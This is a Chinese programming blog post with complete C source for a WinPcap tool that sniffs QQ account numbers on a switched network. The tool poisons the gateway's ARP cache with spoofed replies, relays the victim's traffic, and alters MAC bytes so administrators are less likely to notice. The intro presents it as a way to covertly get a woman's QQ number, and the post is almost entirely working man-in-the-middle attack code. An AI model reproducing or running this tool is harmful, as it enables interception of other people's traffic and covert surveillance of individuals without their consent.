基于visual c++之windows核心编程代码分析(47)实现交换网络的QQ号嗅探
当我们在一个交换网络里面,不知道别人的QQ号码是个很痛苦的事情,假如一个PLMM在上网,你却不知道她得QQ也没有勇气去问,是个很可惜的事情,
至于我们搞编程的,可以通过交换机的数据交换,嗅探出QQ号,因为QQ数据里面唯独QQ号码不加密。
#include "stdafx.h" #include "pcap.h" #include <stdio.h> #include "Iphlpapi.h" #include "protocol.h" #pragma comment(lib,"wpcap.lib") #pragma comment(lib, "Iphlpapi.lib") #pragma comment(lib,"wsock32.lib") #define PCAP_OPENFLAG_PROMISCUOUS 1 DWORD dwMyIp,dwGateIp,dwSubnet,dwDstIp; UCHAR uMyMac[6],uGateMac[6],uDstMac[6]; pcap_t *adhandle; int nCount = 0;//用于执行三次获取网关MAC的操作 bool bGateMac = true; bool bDstMac = true; void SendArpRequest(DWORD dwDesIP, DWORD dwSrcIP, UCHAR uSrcMac[]); int SendPacket(char *pBuffer, int nLen); /* 每次捕获到数据包时,libpcap都会自动调用这个回调函数 */ void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) { ETHeader *pETHdr = (ETHeader *)pkt_data; if(ntohs(pETHdr->type) == ETH_TYPE_ARP) { if(header->len < sizeof(ArpPacket)) return; ARPHeader *pArpHdr = (ARPHeader *)((char *)pkt_data+sizeof(ETHeader)); if(ntohs(pArpHdr->opcode) == ARPOP_REPLY) { if(pArpHdr->daddr == dwMyIp && pArpHdr->saddr == dwGateIp && bGateMac) { if(nCount == 0) { memcpy(uGateMac,pArpHdr->smac,6); nCount ++; }else if(nCount == 3)//完成获取网关MAC { bGateMac = false; return; }else{ if(!memcmp(uGateMac,pArpHdr->smac,6)) { nCount ++; }else{ nCount = 0; } } SendArpRequest(dwGateIp,dwMyIp,uMyMac); } if(pArpHdr->daddr == dwMyIp && pArpHdr->saddr == dwDstIp && bDstMac) { memcpy(uDstMac,pArpHdr->smac,6); bDstMac = false; } } } if(ntohs(pETHdr->type) == ETH_TYPE_IP) { IpHeader *pIpHdr = (IpHeader *)((char*)pkt_data+sizeof(ETHeader)); if(pIpHdr->Protocol == PROTOCOL_UDP) { if(header->len < sizeof(ETHeader) + sizeof(IpHeader) + sizeof(UdpHeader)) return; UdpHeader *pUdpHdr = (UdpHeader *)((char*)pIpHdr+sizeof(IpHeader)); if(ntohs(pUdpHdr->SrcPort) == 8000) { QQHeader *pQQHdr = (QQHeader *)((char*)pUdpHdr+sizeof(UdpHeader)); if(pQQHdr->Flag != 0x02) return;//不是qq数据包 UCHAR uQQ[4]; memcpy(uQQ,pQQHdr->Data,4); DWORD dwQQ = 0; for(int i=0;i<4;i++) { dwQQ = dwQQ*256+uQQ[i]; } printf("找到IP:%s的QQ号:%u\n",inet_ntoa(*(in_addr*)&pIpHdr->DstAddr),dwQQ); } } if(pIpHdr->DstAddr == dwDstIp && memcmp(pETHdr->dhost,uDstMac,6))//目的IP为要嗅探的IP,但是目的MAC不是对方的MAC { pETHdr->shost[5] ++;//源MAC不能设为网关MAC,否则会出现交换机欺骗,从而其它主机也无法上网 memcpy(pETHdr->dhost,uDstMac,6); SendPacket((char*)pkt_data,header->len); } } } int SendPacket(char *pBuffer, int nLen) { if(pcap_sendpacket(adhandle,(UCHAR *)pBuffer,nLen)) return 0; return 1; } void SendArpRequest(DWORD dwDesIP, DWORD dwSrcIP, UCHAR uSrcMac[]) { ArpPacket *pArpPacket = new ArpPacket; for(int i =0;i<6;i++) pArpPacket->eth.dhost[i] = 0xFF; memcpy(pArpPacket->eth.shost,uSrcMac,6); pArpPacket->eth.type = ntohs(ETH_TYPE_ARP); pArpPacket->arp.hrd = ntohs(ARPHRD_ETHER); pArpPacket->arp.eth_type = ntohs(ETH_TYPE_IP); pArpPacket->arp.maclen = 6; pArpPacket->arp.iplen = 4; pArpPacket->arp.opcode = ntohs(ARPOP_REQUEST); memcpy(pArpPacket->arp.smac,uSrcMac,6); pArpPacket->arp.saddr = dwSrcIP; memset(pArpPacket->arp.dmac,0,6); pArpPacket->arp.daddr = dwDesIP; SendPacket((char*)pArpPacket,sizeof(ArpPacket)); delete pArpPacket; } void SendArpReply(DWORD dwDesIP, DWORD dwSrcIP, UCHAR uDesMac[], UCHAR uSrcMac[]) { ArpPacket *pArpPacket = new ArpPacket; memcpy(pArpPacket->eth.dhost,uDesMac,6); memcpy(pArpPacket->eth.shost,uSrcMac,6); pArpPacket->eth.type = ntohs(ETH_TYPE_ARP); pArpPacket->arp.hrd = ntohs(ARPHRD_ETHER); pArpPacket->arp.eth_type = ntohs(ETH_TYPE_IP); pArpPacket->arp.maclen = 6; pArpPacket->arp.iplen = 4; pArpPacket->arp.opcode = ntohs(ARPOP_REPLY); memcpy(pArpPacket->arp.smac,uSrcMac,6); pArpPacket->arp.saddr = dwSrcIP; memcpy(pArpPacket->arp.dmac,uDesMac,6); pArpPacket->arp.daddr = dwDesIP; SendPacket((char*)pArpPacket,sizeof(ArpPacket)); delete pArpPacket; } int WINAPI MyThread(LPVOID Param) { // Sleep(100); SendArpRequest(dwGateIp,dwMyIp,uMyMac); while(1) { if(bGateMac) { ::Sleep(100); continue; } break; } printf("网关MAC为:%02X-%02X-%02X-%02X-%02X-%02X\n",uGateMac[0],uGateMac[1],uGateMac[2],uGateMac[3],uGateMac[4],uGateMac[5]); printf("输入要嗅探的IP地址:"); char ip[20]; scanf("%s",ip); dwDstIp = inet_addr(ip); SendArpRequest(dwDstIp,dwMyIp,uMyMac); while(1) { if(bDstMac) { ::Sleep(100); continue; } break; } printf("目标MAC为:%02X-%02X-%02X-%02X-%02X-%02X\n",uDstMac[0],uDstMac[1],uDstMac[2],uDstMac[3],uDstMac[4],uDstMac[5]); printf("输入每秒发送欺骗包的个数:1-50\n"); int nSpeed; scanf("%d",&nSpeed); UCHAR uMac[6]; uMac[0] = uDstMac[0]; uMac[1] = uDstMac[1]; uMac[2] = uDstMac[3]; uMac[3] = uDstMac[2];//交换MAC的第三和第四个字节,迷惑管理员 uMac[4] = uDstMac[4]; uMac[5] = uDstMac[5]; while(1) { SendArpReply(dwGateIp,inet_addr(ip),uGateMac,uMac); Sleep(1000/nSpeed); } return 0; } int GetNetConfig(DWORD dwIp) { PIP_ADAPTER_INFO pAdapterInfo = NULL; ULONG ulLen = 0; // 为适配器结构申请内存 ::GetAdaptersInfo(pAdapterInfo,&ulLen); pAdapterInfo = (PIP_ADAPTER_INFO)::GlobalAlloc(GPTR, ulLen); // 取得本地适配器结构信息 if(::GetAdaptersInfo(pAdapterInfo,&ulLen) == ERROR_SUCCESS) { while(pAdapterInfo != NULL) { if(dwIp == inet_addr(pAdapterInfo->IpAddressList.IpAddress.String)) { dwMyIp = dwIp; memcpy(uMyMac,pAdapterInfo->Address,6); dwSubnet = inet_addr(pAdapterInfo->IpAddressList.IpMask.String); dwGateIp = inet_addr(pAdapterInfo->GatewayList.IpAddress.String); // CEther::SetGateWayAddr(inet_addr(pAdapterInfo->GatewayList.IpAddress.String),""); printf("本机IP地址为:%s\n本机MAC为:%02X-%02X-%02X-%02X-%02X-%02X\n网关IP地址为:%s\n", pAdapterInfo->IpAddressList.IpAddress.String, uMyMac[0],uMyMac[1],uMyMac[2],uMyMac[3],uMyMac[4],uMyMac[5], pAdapterInfo->GatewayList.IpAddress.String); return 1; } pAdapterInfo = pAdapterInfo->Next; } return 0; } return -1; } int main(int argc, char* argv[]) { pcap_if_t *alldevs; pcap_if_t *d; int i = 0; char errbuf[PCAP_ERRBUF_SIZE]; /* Retrieve the device list from the local machine*/ if (pcap_findalldevs(&alldevs, errbuf) == -1) { printf("Error in pcap_findalldevs_ex: %s\n", errbuf); exit(1); } /* Print the list */ for (d = alldevs; d != NULL; d = d->next) { /* Print the device’s name */ printf("%d. %s", ++ i, d->name); /* Print the device’s dscription */ if (d->description) { printf("(%s)\n", d->description); } else { printf("(No description available)\n"); } } if (i == 0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return -1; } printf("Enter the interface number (1-%d):",i); int nIdx; scanf("%d", &nIdx); if(nIdx < 1 || nIdx > i) { printf("\nInterface number out of range.\n"); /* 释放设备列表 */ pcap_freealldevs(alldevs); return -1; } /* 跳转到选中的适配器 */ for(d=alldevs, i=0; i< nIdx-1 ;d=d->next, i++); /* 打开设备 */ if((adhandle= pcap_open_live(d->name, // 设备名 65536, // 65535保证能捕获到不同数据链路层上的每个数据包的全部内容 PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式 10, // 读取超时时间 errbuf // 错误缓冲池 )) == NULL) { fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name); /* 释放设备列表 */ pcap_freealldevs(alldevs); return -1; } printf("\nlistening on %s...\n", d->description); GetNetConfig(((sockaddr_in *)(d->addresses->addr))->sin_addr.S_un.S_addr); /* 释放设备列表 */ pcap_freealldevs(alldevs); ::CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)MyThread,NULL,0,0); /* 开始捕获 */ pcap_loop(adhandle, 0, packet_handler, NULL); return 0; }